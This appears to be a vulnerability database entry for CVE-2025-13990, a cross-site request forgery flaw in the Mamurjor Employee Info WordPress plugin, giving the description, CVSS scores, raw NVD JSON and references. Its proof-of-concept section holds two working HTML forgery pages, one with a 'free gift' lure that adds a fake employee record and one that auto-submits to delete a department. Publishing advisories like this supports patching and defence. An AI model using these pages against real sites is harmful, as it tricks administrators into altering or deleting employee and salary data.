Security Vulnerability Report
中文
CVE-2025-13990 CVSS 4.3 MEDIUM

CVE-2025-13990

Published: 2026-01-07 12:16:51
Last Modified: 2026-04-15 00:35:42
Source: [email protected]

Description

The Mamurjor Employee Info plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0.0. This is due to missing nonce validation on multiple administrative functions. This makes it possible for unauthenticated attackers to create, update, or delete employee records, departments, designations, salary grades, education records, and salary payments via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Mamurjor Employee Info WordPress插件 ≤ 1.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CSRF PoC for CVE-2025-13990 - Add Fake Employee --> <html> <body> <h1>Mamurjor Employee Info CSRF Exploit</h1> <p>Click the button below to add a fake employee record:</p> <form action="http://target-site.com/wp-admin/admin.php" method="POST" id="exploitForm"> <input type="hidden" name="page" value="mamurjor-employee-info"> <input type="hidden" name="action" value="add_employee"> <input type="hidden" name="employee_name" value="Fake Employee"> <input type="hidden" name="employee_email" value="[email protected]"> <input type="hidden" name="employee_department" value="1"> <input type="hidden" name="employee_designation" value="1"> <input type="hidden" name="employee_salary" value="999999"> <input type="hidden" name="submit" value="Add Employee"> </form> <button type="submit" form="exploitForm">Click Here for Free Gift!</button> <script> // Auto-submit on page load (commented out for safety) // document.getElementById('exploitForm').submit(); </script> </body> </html> <!-- CSRF PoC for CVE-2025-13990 - Delete Department --> <html> <body> <h1>CSRF Delete Department PoC</h1> <form action="http://target-site.com/wp-admin/admin.php" method="POST"> <input type="hidden" name="page" value="mamurjor-department"> <input type="hidden" name="action" value="delete_department"> <input type="hidden" name="department_id" value="1"> <input type="hidden" name="_wpnonce" value=""> <!-- Nonce missing - vulnerability --> </form> <script>document.forms[0].submit();</script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13990", "sourceIdentifier": "[email protected]", "published": "2026-01-07T12:16:51.043", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Mamurjor Employee Info plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0.0. This is due to missing nonce validation on multiple administrative functions. This makes it possible for unauthenticated attackers to create, update, or delete employee records, departments, designations, salary grades, education records, and salary payments via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}, {"lang": "es", "value": "El plugin Mamurjor Employee Info para WordPress es vulnerable a la falsificación de petición en sitios cruzados en todas las versiones hasta la 1.0.0, inclusive. Esto se debe a la falta de validación de nonce en múltiples funciones administrativas. Esto hace posible que atacantes no autenticados creen, actualicen o eliminen registros de empleados, departamentos, designaciones, grados salariales, registros educativos y pagos de salarios a través de una petición falsificada, siempre que puedan engañar a un administrador del sitio para que realice una acción como hacer clic en un enlace."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/mamurjor-employee-info/tags/1.0.0/admin/admin.php#L10", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/mamurjor-employee-info/tags/1.0.0/admin/admin.php#L30", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/mamurjor-employee-info/tags/1.0.0/admin/admin.php#L47", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/mamurjor-employee-info/trunk/admin/admin.php#L10", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/mamurjor-employee-info/trunk/admin/admin.php#L30", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/mamurjor-employee-info/trunk/admin/admin.php#L47", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/8e323b87-7b2e-4e5c-94a4-a4a0712f50ba?source=cve", "source": "[email protected]"}]}}
Disclaimer

This information is for security research and authorized penetration testing only. Unauthorized testing of other systems is illegal.